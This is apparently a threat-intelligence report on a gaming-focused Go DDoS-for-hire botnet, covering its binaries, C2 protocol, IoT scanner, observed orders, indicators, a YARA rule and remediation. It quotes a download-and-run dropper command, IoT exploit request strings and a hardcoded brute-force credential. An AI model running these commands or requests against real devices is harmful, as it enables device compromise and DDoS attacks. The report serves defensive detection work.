Inside a Gaming DDoS-for-Hire Operation

TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.

Executive summary

• 11unique binaries across 7 architectures
• 28-32active bots on the for-hire API
• 1SSH-capable variant (the Windows PE)

This is a Go-based DDoS botnet with IoT worm capabilities, distributed through a multi-architecture dropper (bins.sh) and operated as a commercial DDoS-for-hire service. The bot connects to its command-and-control server over raw TCP, sends periodic STATS heartbeats, and receives line-delimited attack commands. Kinryū Labs assesses with high confidence that this is a functioning, gaming-focused DDoS-for-hire botnet.

The distinguishing feature is an authentication asymmetry. The command channel on 9111/tcp is unauthenticated: no password, token, or challenge-response passes between TCP connect and command dispatch. Bot registration is tracked separately on a password-authenticated SSH channel on 911/tcp, and the for-hire API’s bot counter reflects those authenticated registrations rather than the open command connections. The analysed binary speaks only the raw-TCP channel and carries no SSH client, so registration is handled by a separate loader component.

This operation runs as a visible business. The command-and-control host fronts a self-serve, account-gated DDoS-for-hire API, publishes a live count of its bot inventory, and is one of multiple storefronts built from the same botnet kit. Over several hours of monitoring, the service dispatched customer attack orders in real time.

The kit and its variants

The C2 hosts an open directory serving the botnet fleet. Sixteen files reduce to eleven unique binaries by SHA-256, spanning x86, x86-64, ARM (v5/v6/v7), ARM64, and MIPS (big- and little-endian), plus a Windows PE and a minimal stub. All share the Botnet/Bot Go codebase, compiled with Go 1.26.4, with no third-party imports except the Windows build’s SSH client.

Three points stand out:

• The Windows PE is the only SSH-capable variant. Only bot.exe imports golang.org/x/crypto/ssh; a full string scan of the Linux amd64 build and cross-binary comparison across all eleven unique binaries found no SSH imports elsewhere. The Linux and IoT variants spread through the scanner and dropper.
• One variant is an older, C2-less build. x866 was compiled with Go 1.25.6, against the fleet’s 1.26.4, is the smallest ELF variant, and carries no visible C2 address; the address is likely encoded or supplied at runtime. It shares the Botnet/Bot codebase, tying it to the same operator.
• sora.x86 is not a botnet. Despite a filename that evokes the Mirai “Sora” family, it is a minimal Go stub built by the same toolchain whose entire user code prints sora.x86 is running and exits, with no C2 address, scanner, attack methods, or credentials. It most likely serves as a process sentinel or a decoy on the file server.

Three captures of the Windows PE span roughly a week: two are byte-for-byte identical, a later one is a smaller stripped rebuild, and a still-later one is a full-featured recompile that differs from the original.

The C2 protocol

The command channel is raw TCP with no transport authentication. The connection sequence is an optional config fetch (GET /config.dat, validated against an embedded checkcode), a persistence routine, then a net.Dial to the command port, after which the bot reads commands without writing anything first.

• Heartbeat: STATS|%d|%d|%d|%d|%s\n. The trailing field is the OS or architecture (for example amd64); the four integers report attack, connection, scan, and infection counts.
• Commands: newline-delimited and whitespace-split, in the form ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]. The first field selects the method and numeric fields are parsed with strconv.Atoi.
• Reconnect: a 120-second timer re-enters the connection loop.
• Config: credentials and configuration are pulled from config.dat and decoded with a custom multi-stage XOR cipher (a 4,078-byte buffer initialised with spaces, then byte-level XOR with two fixed key bytes, 0x24 and 0x3C). At the time of analysis config.dat was not being served, indicating the operator had disabled or moved it.

Attack methods

The bot ships a broad DDoS toolkit, catalogued from its function names and log strings:

The HTTP floods rotate twelve hardcoded browser User-Agent strings and set a Referer from a set of high-reputation sites (google.com, twitter.com, facebook.com, fbi.gov, reddit.com, bing.com) to blend with legitimate traffic and slip past WAF filtering.

Scanner and IoT worm

The scanner brute-forces IoT login credentials and exploits several embedded-device web stacks: JAWS DVR/IP cameras (GET /syscmd.htm), the Boa webserver on routers (POST /boafrm/formSysCmd, POST /boafrm/formLogin), and GoAhead-based devices (setUserLogin for auth bypass and admin-user creation, getSanvas for config extraction). Compromised devices are made to run wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh.

Credentials are split. One scanner password is hardcoded in the binary (555111111!!, with a likely 555 username), while the bulk credential list is pulled from config.dat at runtime and XOR-decoded.

Persistence uses four mechanisms plus process camouflage: a systemd unit at /etc/systemd/system/sysd.service (with daemon-reload), a cron entry via /tmp/cron_tmp, rc.local (/etc/rc.local, /etc/rc.d/rc.local), and init.d (/etc/init.d/boot.local). The process masquerades as a system daemon named sysd.

The for-hire operation

The command-and-control host is arranged like a business. It exposes operator SSH on 22, a Go SSH bot-registration channel on 911 (password auth, on a distinct RSA-2048 key), a DDoS-for-hire HTTP API on 3333, the raw-TCP command channel on 9111, and an open-directory file server on 5001 hosting the bot fleet for download.

A self-serve storefront. The API on 3333 is a minimal, single-endpoint booter. /stats returns a live count of the bot inventory; /api takes an order. It validates user and psw, per-customer account credentials, alongside host, method, time/duration, and port, the target and attack parameters, and rejects anything missing or unauthenticated. The order form is visible from unauthenticated probes:

GET /stats
{"time":<unix>,"total":30}

GET /api
Missing parameters: user, psw, host, method, time/duration, port

GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed

The order form maps one-to-one onto the bot’s command format (ATTACK_TYPE TARGET PORT DURATION): one authenticated API request becomes a single line dispatched over the unauthenticated 9111 channel to every registered bot.

A curated inventory. /stats reported 28 to 32 active bots with continuous churn over the monitored window. Because that counter tracks the password-authenticated registrations on 911 rather than raw command connections, it is a vetted inventory count. That is the operational reason registration and command dispatch are split across two channels: one gate to decide which bots belong to the service, one open channel to drive them.

A pivot from mining to DDoS. The secondary dropper server carries an emptied miner.sh alongside the DDoS fleet, the remnant of a cryptominer component since removed. The operator appears to have moved from cryptomining to selling DDoS.

Order fulfilment, observed live

We validated the reversed protocol against the live C2 with a passive monitor and watched the service operate. The C2 was mostly idle; during one multi-hour session it dispatched thirteen attack commands, each a customer order pushed to the fleet.

The orders were aimed almost entirely at gaming and voice infrastructure: predominantly FiveM (GTA V) game servers on Google Cloud in Saudi Arabia, with Discord voice endpoints on Cloudflare and a pair of web servers. We assess this is a gaming-focused stresser service acting on a specific customer conflict. The dispatch pattern reads like service delivery: tiered attack durations that resemble product tiers (20s probes, 30s standard, 60s sustained), method escalation (a generic flood to test a target, then a protocol-specific method against it), paired and bursty dispatching followed by quiet, and double-tapping both IPs behind a Discord server’s load-balanced voice.

A shared builder kit

This is not a bespoke botnet. It is one build of a botnet kit that different operators customise and run as their own service. The clearest view of the kit is a side-by-side with the fleet in our earlier report, A Cross-Platform Go DDoS Botnet-for-Hire, which runs on the same codebase:

The fleets share the Botnet/Bot module path, the same scanner and IoT exploits, the same persistence mechanisms, and the same dropper, and they run on overlapping infrastructure: the secondary dropper server here (185.226.93[.]242) is the earlier report’s C2. What differs is the loadout and the market. That other fleet compiles a general-purpose flood set; the operator here compiles gaming methods and ships the for-hire order API, aimed squarely at the gaming stresser market. Together they point to a builder-kit economy: a shared codebase, resold or passed around, each operator standing up a storefront with its own targets.

Indicators of compromise

Attacker infrastructure is defanged. Hashes are reproduced exactly.

Network

Scanner / propagation strings

GET /syscmd.htm HTTP/1.1                    (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1            (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1            (Boa login)
GET /login.htm HTTP/1.1                     (router login page)
{"topicurl":"setting/setUserLogin",...}    (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"}           (GoAhead config extraction)
GET /config.dat HTTP/1.1                    (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt

Host artefacts

Process name:  sysd
systemd:       /etc/systemd/system/sysd.service   (+ daemon-reload)
cron:          /tmp/cron_tmp
rc.local:      /etc/rc.local, /etc/rc.d/rc.local
init.d:        /etc/init.d/boot.local
Hardcoded scanner credential:  555111111!!   (likely username 555)

Files (SHA-256), Go 1.26.4 unless noted

bot.exe (Windows PE, only SSH-capable variant), captures:
  6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4   (6,253,056 bytes)
  36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25   (4,933,632 bytes, stripped rebuild)
  4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804   (6,020,608 bytes, full rebuild)

Linux amd64:   8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical):  d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l):   523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5:    362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6:    2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64):  428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE):   6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE):   3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP):   f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet):     a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
  sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
  sora.x86 MD5:   3f95cf1ed17f7e00a7be4f5cf12e0088

Hosting

Provider:     Ryzehosting
Maintainer:   GHOSTNET-MNT
Abuse:        [email protected]
Reverse DNS:  static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15

Detection

The strings are stable and unobfuscated, so signatures are straightforward. The candidate YARA rule below is built from distinctive strings; validate before deployment.

rule go_gaming_ddos_bot_candidate
{
    meta:
        description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "6da75697...78d4"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $mod   = "Botnet/Bot" ascii
        $cnc1  = "Connecting to CNC" ascii
        $cnc2  = "Connected to CNC" ascii
        $stats = "STATS|" ascii
        $svc   = "/etc/systemd/system/sysd.service" ascii
        $cron  = "/tmp/cron_tmp" ascii
        $fivem = "Starting FiveM Flood on" ascii
        $cred  = "555111111!!" ascii

    condition:
        ($mod and 2 of ($cnc1, $cnc2, $stats)) or
        ($svc and $cron) or
        (2 of ($fivem, $cred, $stats))
}

Additional detection logic:

# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n

# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}

# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh

Remediation

• Do not expose Jenkins, or other CI/CD and admin interfaces, to the internet. This was the delivery vector.
• Patch or segment JAWS, Boa, and GoAhead-based IoT devices, and block external access to their admin interfaces. These are the scanner’s propagation targets.
• Block the C2 and dropper infrastructure at the perimeter (5.175.140[.]178 and the 185.226.93[.]242:1001 dropper), and alert on the config.dat fetch and the bins.sh execution chain.
• Alert on the persistence artefacts and the sysd process name, and on the STATS| heartbeat pattern on egress.

MITRE ATT&CK mapping

Methodology and notes

• Analysis is static reverse engineering plus passive live-protocol validation; the binaries were never executed.
• Indicators are defanged and hashes are reproduced exactly.
• Samples are available to other researchers and defenders on request. Email [email protected] with a short note on who you are and what you need them for.